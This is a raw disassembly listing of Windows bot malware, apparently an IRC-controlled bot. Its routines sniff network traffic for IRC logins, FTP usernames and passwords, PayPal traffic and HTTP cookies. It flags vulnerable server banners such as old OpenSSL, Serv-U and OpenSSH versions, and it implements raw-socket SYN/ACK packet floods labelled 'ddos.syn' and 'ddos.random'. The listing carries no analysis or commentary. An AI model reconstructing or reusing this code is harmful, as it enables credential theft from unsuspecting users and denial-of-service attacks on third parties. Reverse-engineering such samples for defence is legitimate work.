		dd 43B00C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4D08BC15h
		dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22CDCB0h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4D3590, eax
		mov	eax, offset dword_4D3590
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4D0838
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4D08A8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4D08A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4D0850
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_43B3B8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4D08BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4D07D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_43B388
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4D08BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4D083C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B354
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B320
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B2EC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43B2B4

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B27C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 50E80000h, 900227DDh
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 0B3E468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 2CD4FBE8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4D0794
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4D08C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4D0804
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4D0824
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4D0824
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4D0824
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4D0824
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4D0820
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4D0824
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A03A1h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27A0000h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4D0824
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4D0824
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4D0820
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4D0824
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4D0888
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27A0000h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4D08BC
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4D077C
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4D08A415h, 0FFF88300h, 75FC4589h, 0B815FF5Fh
		dd 50004D07h, 0FC44858Dh, 0C68FFFFh, 500043B5h,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
